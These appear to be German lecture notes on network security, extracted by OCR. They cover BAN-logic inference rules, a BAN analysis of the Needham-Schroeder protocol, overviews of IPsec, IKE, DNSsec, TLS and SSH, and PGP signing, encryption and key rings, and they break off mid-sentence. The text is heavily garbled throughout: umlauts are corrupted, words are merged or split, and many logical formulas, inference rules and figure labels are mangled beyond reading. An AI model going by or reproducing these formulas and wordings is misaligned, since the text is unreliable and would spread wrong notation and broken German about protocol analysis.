Was kann mit einem Protokoll genau erreicht werden?

Berdtigt ein Protokoll mehr Voraussetzungen als ein anderes?

Wird in einem Protokoll etwas uririg getan, das weggelassen werdénrikte, ohne
das Protokoll zu schiachen?

Wird in einem Protokoll etwas urinig verschiisselt, das ebensogut auch als Klartext
gesendet werderdkinte, ohne das Protokoll zu scaghen?

Die BAN-Logik definiert eine Menge von Schlu3folgerungsregeln, mit denen aus einer
Menge von Voraussetzungen und dem Protokollablaiifge Aussagen abgeleitet werden
kénnen. Damit die BAN-Logik angewendet werden kanfissen zuachst die Vorausset-
zungen und das Protokoll selbst in einer idealisierten Form formal dargestellt werden. Die
Anwendung der BAN-Logik erfolgt also grunéizlich in den folgenden Schritten:
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, Durch ein Komma wird die konjunktive Verkipfung von Aussagen ausge-
drickt.

P = X | Pglaubt anX, d.h. P wird sich so verhalten, als a§ wahr ist.

P < X | PsiehtX, d.h. P hat eine eventuell versdidselte Nachricht erhalten, dié
enthielt und dieP entschlisseln konnte.

P~ X | P hatX einmal gesendet, d.I® hat irgendwann einmal eine Nachricht ge-
sendet, die die Aussageé beinhaltet hat. Dabei ist nicht bekannt, wie alt die
betreffende Nachricht ist.

P =X | P hat Gewaltiber X, d.h. ein BenutzeP hat Autoritat Uber eine Aussag
X, und andere Benutzer vertrauéhdafur. Falls z.B. Schissel besonder
sorgfltig von einem Server geihlt werden rissen, sollte dem Servadirf
diese Eigenschaft vertraut werden.

n @

#(X) | X istunbenutzt, d.h. die Aussadgéwurde im bisherigen Ablauf des Proto-
kolls niemals in einer Nachricht benutzt. Diese Eigenschaft wirdsbge-
nannteNoncesvorausgesetzt, d.h. Audsdrke, die speziellifr diesen Zweck
generiert werden und nuirf diesen einen Fall benutzt werden.

P &~ @Q | PundQ teilen den gemeinsamen geheimen 8skélK. Desweiteren wird
angenommen, daR ein guter Schissel ist, d.h. dal3 niemand aul3&rq
und deren Vertraute den Séiskel kennen bzw. erfahren.

— P K ist deroffentliche Schilissel vonP. Dies bedeutet gleichzeitig, ddfden
zugeldrigen geheimen Sciésel kennt.

P é Q | P und @ teilen das gemeinsame Geheimi¥s d.h. die AussageX kann
zwischenP und (@ zum Nachweis der Identdit benutzt werden.

{X}k | Dieser Ausdruck stellX chiffriert unter dem Schiissel X’ dar. Dies ist ei-
ne Kurzform von{ X}, von P, d.h. P hat die Nachrich{ X } x gesendet
Falls Mi3versandnisse ausgeschlossen sind, wird immeiibersichtlichere
Kurzform benutzt.

(X)y Dieser Ausdruck stellX kombiniert mitY” dar, wobei Y ein Geheimnis daf-
stellt. In Implementierungendnnte das z.B. durch einfache Konkatenation
der AussagerX undY durchgeiihrt werden.

H(X) | Dieser Ausdruck stellt das Ergebnis der Hash-Funkiioangewendet auX’
dar.

Tabelle 8.1: Die in der Logik verwendeten Relationssymbole

1. Ableitung des idealisierten Protokolls.
2. Formale Beschreibung der Voraussetzungen des Protokolls.

3. Die neuen Behauptungen, die sich aus jedem einzelnen Protokollschritt ergeben,
werden nach dem jeweiligen Schritt aufgeschrieben.
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4. Aus den schonigitigen Behauptungen werden zusammen mit den aus einem Proto-
kollschritt resultierenden Behauptungen unter Anwendung der Schlu3folgerungsre-
geln neue Aussagen abgeleitet.

8.6.1 Relationssymbole

Die Relationssymbole der BAN-Logik sind in der Tabeld dargestellt. Beizglich der
Klammerung gilt in der BAN-Logik die Regel, dal3 in jeder Aussage der am weitesten

rechts stehende Operator ararksten bindet. So ist die Aussage B E A & B
aquivalent zud = (B £ (A & B)).

8.6.2 Formale Ziele eines Authentifizierungsprotokolls

Mit Hilfe der Relationssymbole lassen sich die Ziele eines Authentifizierungsprotokolls
formal wie folgt darstellen. Oft ist es efmscht, dald zwei Parteiehund B nach Ablauf

eines Authentifizierungsprotokollgber einen gemeinsamen geheimen Sitzunggssal
K verfugen, d.h. formal ausgeirkt:

AeAd B, BEALB

Mit einigen Authentifizierungsprotokollen kann Zizlich erreicht werden, dal3 jede Partei
daran glaubt, dal} die andere Partei auf dieseniSsalK als gemeinsamen geheimen
Schhssel vertraut, d.h. formal ausgédkt:

AEBEAL B, BEAEAL B
8.6.3 Schlul3folgerungsregelin

Die wichtigsten Schlu3folgerungsregeln der BAN-Logik lauten:

(1) Die Regel zur Bedeutung von Nachrichten:

(a) Fur gemeinsame geheime Sigbsel:

PEQLE P Pa{X)k
PEQRMX '

(b) Fur offentliche Schiissel:

PESQ, P<{Xlxa
PEQRrX '
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(c) Fur gemeinsame Geheimnisse:

PEQ=P P<(X)y
PEQRX

In der Regel (1a) isi der Uberzeugung, da ein geheimer Schiksel ist, den
P mit @ teilt, und P hat eine NachrichtX erhalten, die mitK verschiisselt ist.
Dann kannP daran glauben, daf3 irgendwann einmak gesendet hat. Dabei muf3
allerdings sichergestellt sein, d&Rdiese Nachricht nicht an sich selbst geschickt
hat. Die Regeln (1b) und (1c) ergeben siciig analog.

(2) Die Regel zur Nonce-Verifikation:

PE#X), PEQKX
PEQEX '

Mit dieser Regel kaniberptift werden, ob eine Nachricht gegeastig ist, d.h. sie
fuhrt P zu derUberzeugung, daf® (gegenvartig) an.X glaubt. Dieser Schluf3 ist
nur zukssig fir Klartextaussagen .

(3) Die Regel zur Autorit:

PEQ=X, PEQEX
PEX ’

In dieser Regel vertrau? darauf, daff) Machtiuber X hat und anX glaubt. Dann
glaubt P auch an die @ltigkeit von X.

(4) Regeln zur Zusammensetzung und Aufteilung von Aussagen, denen vertraut wird:
(a) Fur die Zusammensetzung vertrauefissiger Aussagen:

PEX, PEY
PE(X,Y)

(b) Fur die Aufteilung von vertrauendwdigen Aussagen in Komponenten:
PEXY)
PEX
(c) Fur die Aufteilung von Aussagen, an die eine vertraute Partei glaubt:

PEQEX)Y)
PEQEX

Weitere ahnliche Regeln, die offensichtlichiljig sind, werden entsprechend bei
Bedarf eingeifihrt.
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(5) Eineahnliche Regel zur Aufteilung einer Aussage, die einmal gesendet wurde:

PEQR(X.Y)
PEQRX

Hierbei ist wichtig, dal? der Umkehrschluf3 (aise @ ~ X undP E Q ~ Y
wirde folgenP E @ p (X, Y)) nicht gilt, weil die Folgerung bedeutet, da3und
Y zur gleichen Zeit in einer Nachricht versendet wurden.

(6) Regeln zum Sehen und Entsigiseln von Nachrichten und deren Komponenten:
(a) Fur das Sehen einer Komponente:

P<(X,Y)
PaX

(b) Fur das Sehen einer mit einem Geheimnis kombinierten Nachricht:

P<]<X>y
PaX

(c) Fur das Sehen einer konventionell versddelten Nachricht:

PEQE P Pa{X}x
P<aX '

(d) Fur das Sehen einer mit einedffentlichen Schissel chiffrierten Nachricht:

PES P P<a{Xlk
PaX '

(e) Fur das Sehen einer mit einem geheimen 8s$el chiffrierten Nachricht:

PESQ, P<a{X}lx
PaX '

Analog zur Regel (5) ist auch hier der UmkehrschluRR der ersten Regekbssigl
(7) Die Regel zu unbenutzten Aussagen:

P E#(X)
PE#XY)

Falls also ein Teil einer Aussage unbenutzt ist, so gilt dies alirctlié ganze Nach-
richt. Ahnliche Regeln knnten z.B. iir die Verschilisselung unbenutzter Aussagen
angegeben werden.

(8) Regeln zur Kommutativitt gemeinsamer geheimer Sassel:
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(a) Fur geheime Sclilssel, denen vertraut wird:
PERER
PERER

(b) Fur vertraute Parteien, die an geheime 8ske&l glauben:

PEQERL R
PEQERER

(9) Regeln zur Kommutativitt gemeinsamer Geheimnisse:
(a) Fur Geheimnisse, denen vertraut wird:
PER=R
PERZR
(b) Fur vertraute Parteien, die an Geheimnisse glauben:
PEQER=R
PEQERZR

(10) Die Regel zur Hash-Funktion:

PEQRNH(X), PaX
PEQRrX '
In dieser Regel vertrau? darauf, dalf) einmal H (X)) gesendet hat, un® hat eine

Nachricht erhalten, di& enthielt. Dann gelang® zu derUberzeugung, da@ auch
X gesendet hat.

8.6.4 Analyse des Needham-Schroeder Protokolls

Anhand des Needham-Schroeder Protokolls soll kurz skizziert werden, wie ein Authentifi-
zierungsprotokoll mit Hilfe der BAN-Logik analysiert werden kann:

Transformation in das idealisierte Protokoll

Nachricht2: S — A: {N,, (A% B), #(A % BY{A % Bly, Vi
Nachricht 3: A — B: {A <% B}y,

Nachricht4: B — A: {N,, (A %% B)}x,, von B

Nachricht5: A — B: {N,, (A P B)}k,, von A

e Nachricht 1 enthllt, da es eine reine Klartextnachricht ist.
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Definition der Voraussetzungen

(1) AEA%™S BEBWS SEASS SEBSS
) SEA B,

B) AE(S=ALB), BeES=ALB), A (S=#(A45 B);
(4) AE#(N), BE#(N), SE#ASB), BE#(AS B).

¢ Die Voraussetzungen (1) betreffen die gemeinsameniSsél und sind offensicht-
lich.

e Die Voraussetzung (2) macht deutlich, daf? der Sesveinen SchisselK,;, kennt,
den er hier zuvor erzeugen muf3 und der Sitzunggssgl tir A und B werden soll.

e Bei den Voraussetzungen (3) wird gefordert, dal’ der Sefveewaltiiber die Un-
benutztheit von Sitzungsscldseln hat, was veimftig erscheint.

e Bei den Voraussetzungen (4) sind die ersten drei im Zusammenhang dieses Proto-

kolls offensichtlich. Die letzte Voraussetzumjl= #(A & B) ist in der Protokoll-
analyse notwendig und stellt damit den Mangel des Protokolls dar.

Analyse des Protokoll durch wiederholte Anwendung der Schluf3folgerungsregeln

Als erstes sendet die Klartextnachricht 1 an den Serv&y wodurch ihm unter anderem
der NonceV, mitgeteilt wird. Daraufhin erzeugt den SchilisselK,;, unter der Vorausset-
zung, dal¥{,, ein guter und unbenutzter Séiskel ist. Dann sendétdie Nachricht 2 an

A, d.h.

Kab

A<{N,, (A% B), #(A'™ B), {A ™ B}y, }x...

Mit der Regel (6¢) und Voraussetzung (1a) kann die Nachricht eiitssélt werden und
mit der Regel (6a) komponentenweise betrachtet werden:

A<N, und A<{A% Bly,.

Hier kannA den NonceV, uberpiifen um festzustellen, dal3 die Nachricht 2 keine Wieder-
holung einer alten Server-Antwort war. Mit dem zweiten Teildsin der Lage, Nachricht
3 anB zu senden.

Zunachst lbnnen aber noch weitere Schluf3folgerungen aus der vasseiten Nachricht
2 gezogen werden. Mit der Regel (1a) und der Voraussetzung (J&) erén

Kab

AE S (No (A% B), #(A ™ B) {4 Bly,).
Aus der Voraussetzung (4a) kann mit der Regel (7) die Aussage
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K Kap

A #(Na, (A2 B), #(A % B), {A ¥ B}y,

abgeleitet werden, womit sich jetzt die Regel (2) anwend@i |

Kub

AE S E (Noy (A B).#(A ™ B), {4 B}s,).
Diese Aussageildt sich nun mit der Regel (4c¢) in die Komponenten
AESE(ASB) und AESE#(AB)

zerlegen. Mit der Voraussetzung (3a) bzw. (3c) kann die Regel (3) angewendet werden,
und man erhlt

AE (A B) und AE#(A%B).

Weitere Schilisse kbnnen an dieser Stelle nicht gezogen werden.
Als nachstes wird die Nachricht 3 & gesendet, d.h.

B<{A e B},
Zusammen mit der Voraussetzung (1b) kann die Regel (1a) angewendet werden, womit
BESK (A% B).
gefolgert werden kann. An dieser Stelle ist man auf die etwas seltsame Voraussetzung
B E #(A & B) angewiesen, ohne die man nicht fortfahren kann. In der Nachricht 3 ist

nichts vorhanden, von dessen UnbenutztBeitberzeugt ist, d.h3 vermutet einfach, daf3
diese Voraussetzung zutrifft.

Damit kann die Regel (2) angewendet werden, womit der Schluf3
BESE (A% B)

gezogen werden kann. Mit der Voraussetzung (3klerhan unter Anwendung der Regel

3)
BE A% B.
Nun erzeugtB den NonceV, und sendet Nachricht 4 a#, d.h.
A< {Ny, (A B)}g,,.
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Da A den SchilisselK ,;, kennt, kann er mit den Regeln (6¢) und (6a) die Aussage

AN,

ableiten, womitA in der Lage ist, Nachricht 5 aR zu senden.

Zunachst kann aber noch aus der vergskElten Nachricht 4 mit der Regel (1a) die Aus-
sage

AE B b (N, (A% B))
gefolgert werden. Mit der Regel (5) exth man daraus die Komponente
AEBRN (A% B).

Da fur A nach Empfang der Nachricht 2 die Aussayé= #(A P B) abgeleitet werden
konnte, kann hier die Regel (2) angewendet werden und auf die Aussage

AEBE (A B)

geschlossen werden.
Nun empéingtB die Nachricht 5, d.h.

B<{N,, (A% B)}y.,.

Diese Nachricht kann, d& ebenfalls den Schksel K, kennt, mit der Regel (6c) ent-
schiisselt werden, und mit der Regel (6a) kann die Komponente

B <N,

betrachtet werden. Hier kaf® den NonceV, tiberpiifen. Aus der verschikselten Nach-
richt 5 lal3t sich mit der Regel (1a) die Aussage

B A (Ny, (A% B))
folgern. Mit der Regel (7)dR3t sich der Noncé/, auf die Aussage
B E #(N, (A B))
erweitern, womit die Regel (2) angewendet werden kann, und mailt erh
BEAE (N, (A% B)).
Durch Anwendung der Regel (4c) folgt abschlieRend

BEAE (A% B).
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SchluR3folgerungen nach Ende des Protokolls

Es lassen sich unter den oben angegebenen Voraussetzungen die Ziele, wig.&i2 in
beschrieben sind, nachweisen.

Literaturhinweise

Das Diffie-Hellman Verfahren ist irll{d] beschrieben. Die Verwendung des Diffie-Hellman
Verfahrens im Sun RPC ist in RFC 105g] definiert und wurde sfter aus RFC 183 5p]
wieder entfernt. Weitere Details hierzu findet man in RFC 2695 [

Das Needham-Schroeder Protokoll ist 44 vorgeschlagen worden. Kerberos Version 4
wird in [34] beschrieben. Eine kritische Analyse findet man4h [Eine Diskussion von
Zeitstempeln findet man imp]. Die Spezifikation von Kerberos Version 5 findet man in
RFC 1510 B3].

Das Kehne-Satnwalder-Langendrfer Protokoll ist in BO] und [31] beschrieben.

Die BAN-Logik wurde von Burrows, Abadi und Needham ifj ind [8] definiert. Eine
Ubersichtiber die BAN-Logik und eine Analyse der hier vorgestellten Protokolle findet
man in [36]. Eine neuere Arbeit zur Analyse von Authentifizierungsprotokollen findet man
in [1].
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Kapitel 9

Sichere Internetprotokolle

Es gibt verschiedene &fjlichkeiten, Sicherheitsmechanismen in den Internetprotokollen
zu verankern.

Applikationsebene: Anwendungsprotokolle ~<—— PGP, DNSsec, SSH (login), IKE, SNMPv3, ...
Transportebene: TCP / UDP —~—— TLS (SSL), SSH (tunnel)
Netzwerkebene: IPv4/ICMPV4 | IPv6/ICMPVE <——  |Psec

Transmission (IEEE 802, ATM, ...)

Abbildung 9.1: Sicherheitsprotokolle im Internet Schichtenmodell

e \erschiisselung auf Netzwerkebene

— Erschwert VerkehrsfluRanalysen, da einzelne Nachrichten bzw. Pakete nicht
mehr identifiziert werdendnnen.

— Ermbglicht es, den Datenaustausch zwischen der Implementation des Netz-
werkprotokolls und der Applikation im Klartext abzoiten und ggf. Daten zu
manipulieren.

— Die gesamte Netzwerkinfrastruktur mufd die verwendeten Vdissblungs-
verfahren untergtzen.

e \Verschlisselung auf Transportebene

— In der Regel einfacher zu realisieren und zu installieren.

— Informationeniber die Kommunikationspartner und deren Interaktionsweise
lassen sich nur &f3ig gut verbergen.

67



— Ist die Verschilisselung auf der Tranportebene eine Betriebssystemkomponente,
so besteht weiterhin die 8lichkeit, Datenstime zwischen dem Betriebssy-
stem und der Applikation abzdhen und ggf. Daten zu manipulieren.

e \erschiisselung auf Applikationsebene

— Keine besonderen Anforderungen an die Netzinfrastruktur.

— Verwaltung von Sctilsselinformationen in den Applikationen oftmals proble-
matisch.

— Keine gute Sicherung gegen VerkehrsfluRanalysen.

Gelegentlich finden in sehr sensitiven Bereichen Kombinationen der Verfahren Anwen-
dung.

9.1 IP Security (IPsec)

Ubersichtiiber IPsec:

e IPsec ermglicht eine sicheréJbertragung von IPv4 und IPv6 Paketen. IPsec ist
zwingend vorgeschriebeff IPv6 und optionaliir IPv4.

e |IPsec stellt zwei Betriebsarten zur Megiung:

1. Im Transport Modewerden IP Pakete zwischen zwei Rechnern durch IPsec
gesichert. Daten werden als Klartext von der IPsec Implementation entgegen-
genommen und gesichdiber das Internet zum Zielsysteimbertragen. Dort
werden die Daten wieder als Klartext den Applikationenangjich gemacht.

2. Im Tunnel Modewird zwischen zwei Gateways ein sicherer Tunnel aufge-
baut,uber den beliebiger Datenverkehr durch IPsec gesichmitragen wer-
den kann.

e Zur Sicherung werden zwei verschiedene Nachrichtenformate eingesetzt:

1. Das ESP-Format(encapsulating security payload) dient der Verdskélung
der Nutzdaten. ESP authentifiziert den ESP Protokollkopf und die Nutzdaten,
aber nicht den IP Protokollkopf.

2. Das AH-Format (authentication header) realisiert die Datenintégnind die
Authentifikation. AH authentifiziert im Gegensatz zu ESP das gesamte Paket
inklusive des IP Protokollkopfes, wobei einige sichiwend defJbertragung
andernde Felder ausgenommen sind.

e Durch die Kombination der Varianten ergeben sich insgesamt acht unterschiedliche
Nachrichtenformate. Es istaglich, die Formate AH und ESP miteinander zu kom-
binieren.
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e Ein spezielles IP-Komprimierungsprotokoll erlaubt die Komprimierung der Daten
vor der Verschiisselung.

e Samtliche kryptographischen Algorithmeihknen ausgetauscht werden.

e Die Schulsselverteilung und die Aushandlung der kryptographischen Funktionen er-
folgt durch ein externes Protokoll. Derzeit wird das IKE Protokotldiesen Zweck
favorisiert.

¢ IPsec wird derzeit haugishlich zum Aufbau von sicheren Tunneln zur Bildung ein-
gesetzt, mit denen virtuelle private Netze (VPNSs) realisiert werden.

e Die Einfilhrung von IPsec erfordert in der Redgiderungen an den eingesetzten
Betriebssystemen.

9.2 Internet Key Exchange (IKE)

Ubersichtilber IKE:

¢ IKE stellt in einem ersten Schritten einen sicheren Kanal zwischen zwei IKE Imple-
mentation her.

e Dieser sichere Kanal kann in der zweiten Phase von einem anderen Protokoll benutzt
werden, um seine Sicherheitsparameter zu verhandeln und auszutauschen.

o IKE ist sehr flexibel aber auch sehr komplex.

¢ Die Sicherung gegeydenial of service* Angriffe ist umstritten.

9.3 DNS Security (DNSsec)

Uberblick iber DNSsec:

e DNSsec ist eine Erweiterung des DNS, mit dem Antworten Anderungen von
DNS Servern authentifiziert werdedhnen.

e DNSsec beschlnkt sich nicht nur auf die Authentifizierung von DNS Namen und
zugetldrigen IP Adressen. Vielmehr kann beliebige Information in einem DNS Re-
cord authentifiziert werden.

e DNSsec kann als Basisif ein verteiltes Zertifizierungssystem auf der Basis von
DNS benutzt werden.

e DNSsec stellt die folgenden Sicherheitsdienste zurddgrhg:

1. Schiusselverteilung
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2. Authentifikation und Integrét der Herkunft von Daten
3. Authentifikation und Integrét von DNS-Transaktionen

e DNSsec bietet keine Mechanismen zur Vergskelung und bescimkt sich auf die
Sicherung von DNS-Transaktionen.

o DNSsec definiert kein Zugriffskontrollmodell.

e DNS Sicherheitsbereiche entsprechen sogenannten DNS Zonen, die jeweils durch
ein asymmetrisches Sc¢ldselpaar gesichert werden.

9.4 Transport Layer Security (TLS)

Uberblickiber TLS:

e TLS ist die standardisierte Variante des Secure Socket Layer (SSL), der von der
Firma Netscape entwickelt wurde.

e TLS setzt auf TCP auf und kann mit relativ begrenztem Aufwand von beliebigen
Applikationen benutzt werden, die TCP-basierte Protokolle benutzen.

e TLS kann einfach mit den Applikationen, die TLS benutzen, verteilt werden, da
keine besonderen Betriebssystemdienstétigihwerden.

e Die Benutzung von TLS kann ineffizient werden, wenn viele Anwendungen ihre
eigene TLS Implementation und Konfiguration besitzen.

e TLS setzt auf die Socket-Schnittstelle auf und stellt selbst wieder Applikationen die
Dienste einer Socket-Schnittstelle zur \tegting.

Sicherheitseigenschaften:

¢ Authentifikation eines oder beider Rechner, wobei nur bei einseitiger Authentifikati-
on ein Angriff mbglich ist.

e \erschlisselung, Integrét und Sicherung gegen Wiederholungen.
e Komprimierung der Daten dglich.

¢ Keine Moglichkeit zur Bildung von sicheren Tunneln.

e Benutzt eine Zertifizierungsinfrastruktuirfdie Schlisselverteilung.

e Unterstitzt schwache Versciiéselung (kurze Scibselangen), um die US Export-
bestimmungen zu diflen.
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9.5 Secure Shell (SSH)

Uberblickilber SSH:

e Die Secure Shell (SSH) wurde von Tatu Ylonen an der Helsinki University of Tech-
nology in Finnland entworfen und wird mittlerweile von SSH Communications Se-
curity Ltd. weiterentwickelt.

e SSHist prinér dazu entwickelt worden, einen sicheren interaktiven Zugang zu Rech-
nerniber das Internet zu ekiglichen. (Ersatzifr telnet, rlogin, rsh, rcp.)

e Zusatzlich gibt es einen Tunnel-Modus, mit dem beliebige TCP-Verbindungen durch
sichere SSH-Tunnel gedatat werden Bnnen. (Sicherung von X11 Sitzungen oder
Tunnel durch Firewalls.)

e SSH besitzt eine Client/Server-Architektur und benutzt TCP als Transportprotokoll.

e Das Transportlayer-Protokoll verhandelt die Methode den Schlsselaustausch,
das asymmetrische Verfahren zur Authentifikation des Servers (Diffie-Hellman), den
symmetrischen Versah$selungsalgorithmus (IDEA-CBC), den Authentifizierungs-
algorithmus @ir Nachrichten (HMAC-SHA-1) und die verwendete Hash-Funktion
(SHA-1) und Komprimierungsalgorithmen (ZLIB).

e Die Version 1 von SSH hat einige bekannte Sicherheitsprobleme.

¢ Die Benutzung von Zertifikateruf die verwendeten Sdidsel ist vorgesehen, wird
aber in der Praxis selten eingesetzt.

Ablauf einer SSH Verbindung:

e Zunachst wird der Server mit Hilfe eines Diffie-Hellman Austausches authentifiziert.

e Anschliel3end wird der Benutzer auf dem Server authentifiziert. Dazu stehen ver-
schiedene Methoden zur Vadung:
1. Keine Authentifikation (none).
2. Authentifikation mit Hilfe eines PalRwortes (password).
3. Authentifikation aufgrund der Host-Adresse (host based).
4. Authentifikation mit einem RSA Schssel (public key).
5. Authentifikation mit einem Kerberos Ticket (kerberos).
e Nach der Authentifikation des Servers und des Benutzers auf dem Sérveserk

interaktive Kommandointerpreter benutzt werden oder TCP Verbindungen gemulti-
plexeduber die sichere Verbindung getunnelt werden.
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9.6 Pretty Good Privacy (PGP)

Pretty Good Privacy (PGPBHL, 62] wurde 1991 von Philip Zimmermann entworfen und
hat sich zur Sicherung von Dateien und Nachrichten im Internet weit verbreitet. Der Erfolg
von PGP hat mehrere Ursachen:

e Beim Entwurf von PGP wurden die derzeit besten kryptographischen Verfahren aus-
gewahlt.

e Die Algorithmen wurden in ein einfach zu benutzendes Programm umgesetzt, das
unablangig vom Betriebssystem ist und einen kleinen Satz einfacher Kommandos
bereitstellt.

e Die Implementation wurde zusammen mit dem Quelltext und der Dokumentation
frei zuganglich gemacht.

e Zusatzlich gab es einen Vertrag mit einer Firma, die eine kommerzielle Version von
PGP anbietet.

Die Entwicklung von PGP hat auch eine Reihe von rechtlichen Fragen aufgeworfen, insbe-
sondere bdmlich der Patentrechte und der Exportbestimmungen der USA, die im globalen
Internet an ihre Grenzen stol3en.

PGP kombiniert geschickt verschiedene kryptographische Verfahren, um die jeweiligen
Vorteile auszunutzen:

o IDEA wird als effizientes symmetrisches Verfahren zur Vergsbélung benutzt.

¢ RSA wird fur Signaturen und den Austausch eines symmetrischeri$seis einge-
seftzt.

e Die Hashfunktion MD5 wird ir die Sicherung der Integét und Signaturen verwen-
det.

e Der Komprimierungsalgorithmus ZIP wird zur effizienten Speicherung hitver-
tragung von Nachrichten eingesetzt. Aul3erdem verringert die Komprimierung die
im Klartext oftmals vorhandene Redundanz.

e Die Radix-64 Kodierung eriglicht eine Darstellung der Nachricht mit einem Al-
phabet aus 64 ASCII-Zeichen, was tlieertragung als E-Mails eraglicht.

Neuere Versionen von PGP erlauben die Benutzung von verschiedenen kryptographischen

Verfahren. Damit kann PGP an die aktuelle Entwicklung in der Kryptographie und an
spezielle Bedrfnisse einer Umgebung angepaldt werden.
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9.6.1 Signatur

Partei A Partei B
K
1 E(H(m)) : A

Ka !

3 v
% Gl

—{
m m Vergleich

I z z* H

B = J

Abbildung 9.2: Signatur mit PGP

Eine ParteiA signiert einen Klartextn nach folgendem Verfahren:

1. Die ParteiA berechnet den Hashweki(m) des Klartextesn mit Hilfe des MD5
Algorithmus.

2. Der HashwertHd (m) wird mit Hilfe des RSA Algorithmus unter Verwendung des
privaten Schiisselsk ;' verschuisselt:

B (H (m))

3. Der Klartextm wird mit dem verschisselten Hashwert konkateniert:

By (H(m))||m

4. Die erhaltene Bytefolge wird schlief3lich noch mit Hilfe einer Komprimierungsfunk-
tion Z komprimiert:

Z(Eg 1 (H(m))[m)

—1
A

Die ParteiB Uberpiift die Authentizitt der signierten Nachricht nach folgendem Verfah-
ren:

1. Der ParteiB hebt zumchst die Komprimierung auf:
Z7HZ(Ex1 (H(m))[|m)) = Ex— (H(m))|m
2. Die Bytefolge wird in den verschkselten HashweEKgl(H(m)) und den Klartext
m aufgeteilt.

3. Der verschilisselte Hashwert wird mit Hilfe desfentlichen Schiisselsk 4 von A

entschiisselt:
D, (Eg-1(H(m))) = H(m)
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4. Fur den entnommenen Klartext wird der Hashwer#{ (m) berechnet und mit dem
entschiisselten Hashwert aus dem vorigen Schritt verglichen.

Bemerkungen:

e Es ist mbglich, PGP Signaturen vom Klartext zu trennen. Dadui@mien mehrere
Personen unal@imgig voneinander denselben Klartext signieren.

e Der Klartext wird vor der Komprimierung signiert. Oafgibt es zwei Ginde:

1. Der Klartext kann unkomprimiert zusammen mit der Signatur gespeichert wer-
den.

2. Der verwendete Komprimierungsalgorithmus ist nicht deterministisch. Daher
kann aus einem Klartext nicht eindeutig der komprimierte Text generiert wer-
den, was zu einddberpiifung der Signatur aber erforderlictave, wenn die
Signaturiber dem komprimierten Text erstellimde.

9.6.2 Geheimhaltung

Partei A Partei B

b s
J{0) B

)
=)

2

Abbildung 9.3: Geheimhaltung mit PGP

Eine ParteiA verschiisselt einen Klartextifr die ParteiB nach folgendem Verfahren:

1. Die ParteiA komprimiert den Klartexin mit Hilfe einer Komprimierungsfunktion
ZzuZ(m).

2. Die ParteiA generiert einen SciiéselKs.

3. Der komprimierte Klartext wird mit dem generierten Stddel s und des symme-
trischen IDEA-Verfahrens versdidselt:

Exs(Z(m))

4. Der SchiisselK s wird unter Verwendung desffentlichen Schisselsik z der Partei
B verschiisselt:
Er,(Ks)
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5. Der verschiisselte Sclilssel wird mit dem versctgselten Klartext konkateniert:
B, (Ks)||[ Exg(Z(m))

Die ParteiB entschlisselt einen versch$selten Klartext von der Partéinach folgendem
Verfahren:

1. Die verschlisselte Nachricht wird zuerst in den versiddelten SclilsselEx, (Ks)
und den verschilsselten Klartext/x ., (Z(m)) zerlegt.

2. Der verschilisselte Scliissel wird mit Hilfe des privaten SdéselK ;' von B ent-
schisselt:
DK};l(EKB(KS>> = Ky

3. Mit Hilfe von K4 wird der verschisselte Klartext entschéselt:
Dis(Exs(Z(m))) = Z(m)
4. Die ParteiB hebt nun die Komprimierung auf und é@lhden Klartext:
Z=(Z(m)) =m
Bemerkungen:

e Zur Verschiisselung wird das symmetrische Verfahren IDEA eingesetzt, das wesent-
lich schneller ist als RSA.

e Der Schiissel fir das symmetrische Verfahren wird nur einmal benutzt.

e Die Ubertragung des symmetrischen SdslelsK s erfolgt geschitzt durch das RSA
Verfahren.

e Das gesamte Verfahrerahgt also von der Sicherheit des RSA Verfahrens und der
verwendeten RSA Sch$sel ab, unal@ingig davon, welches symmetrische Verfahren
zur Verschlisselung Verwendung findet.

9.6.3 Signatur und Geheimhaltung

Partei A Partei B

K
E(Hm)) N

‘ i
i
Ks

Vergleich

@r&@ o¥G

Abbildung 9.4: Signatur und Geheimhaltung mit PGP
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Die beiden beschriebenen Verfahren zur Signatur und Geheimhaltung lassen sich leicht
kombinieren, indem man zuerst die Nachricht signiert und anschliel3end eselhl Da-

mit erhalt man ein effizientes Verfahren, das die IntegtjtAuthentiziit und Vertraulich-

keit eines Klartextes geahrleistet.

Bemerkungen:

¢ Zur Ubertragung via E-Mail kann der Text in Radix-64 dargestellt werden, wobei
immer drei Bytes (24 Bit) in vier Zeichen (6 Bit) kodiert werden. Die Zeichen sind
dem ASCII Alphabet entnommen und ligigen daher selbst wieder um jeweils 8
Bit.

e Fur sehr lange Klartexte stellt PGP Funktionen zur Segmentierung und Reassemb-
lierung bereit.

9.6.4 Schilisselgenerierung

Zur Generierung von RSA Sdldseln verwendet PGP ein Verfahren, bei dem das Schreib-
verhalten des Benutzers eingeht. Auf3erdem werden die gewonnenen Zufallszahlen durch
den symmetrischen IDEA Algorithmus verarbeitet, um gutesi&sadlmaterial zu bekom-

men. Auf einigen Systemen (z.B. Linux) benutzt PGP spezielle vom Betriebssystem be-
reitgestellte Dateiendev/random/ ), die zufllige Informationen enthalten.

Zur Bestimmung von RSA Sciiéseln bestimmen Zufallszahlen, wo mit der Suche nach
einer Primzahl begonnen wird. Der verwendete Exponent mufd mindestens éif&\vén

17 Bit haben, wodurch ein Angriff auf RSA aufgrund eines kleinen Exponenten verhindert
wird.

9.6.5 Schilisselverwaltung

Die von PGP bedtigten RSA Schissel werden in sogenannten Sidselringen (key ring)
verwaltet. Jeder Benutzer hat jeweils einen 8sbélring @ir die eigenen privaten Sdldsel
und einen Sclhiisselring @ir die bekanntepffentlichen Schissel.

Die Datei, in der die privaten Sdidsel verwaltet werden, erdtth Zertifikate mit folgendem
Aufbau:

| Timestamp|  Key ID | Public Key | Encrypted Private Key User ID |

T; K; mod 264 K; Eppy) (K ) User;

Tabelle 9.1: Aufbau des privaten Sabkselrings

Die Datei, die die bekanntedffentlichen Schilssel verwaltet, en#it Zertifikate mit fol-
gendem Aufbau:
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Timestamp| KeyID | Public Key | Owner Trust| User ID | Signatures Sig. Trust(s)|

T K; mod 264 K; otrust User

Tabelle 9.2: Aufbau desffentlichen Schiisselrings

Bemerkungen

e Der SchiisselK; * wird selbst mit IDEA versclilsselt abgelegt, wobei zur Ver- und
Entschiisselung ein Schksel benutzt wird, der sich aus einer Hashfunkiiber ein
moglichst langes Paldwort (passphrase) ergibt. Der Zugriff auf den privateinsSehl
erfordert daher immer die Eingabe des PGP PalRworts, das daher niemals niederge-
schrieben oder gar in Dateien abgelegt werden sollte.

e Zur Identifikation eines in der Regel sehr langen 8skelsik; werden die letzten 64
Bit des SchilisselsK; mod 2% verwendet.

e Die Schlssel imoffentlichen Schisselring Knnen von mehreren Parteien unter-
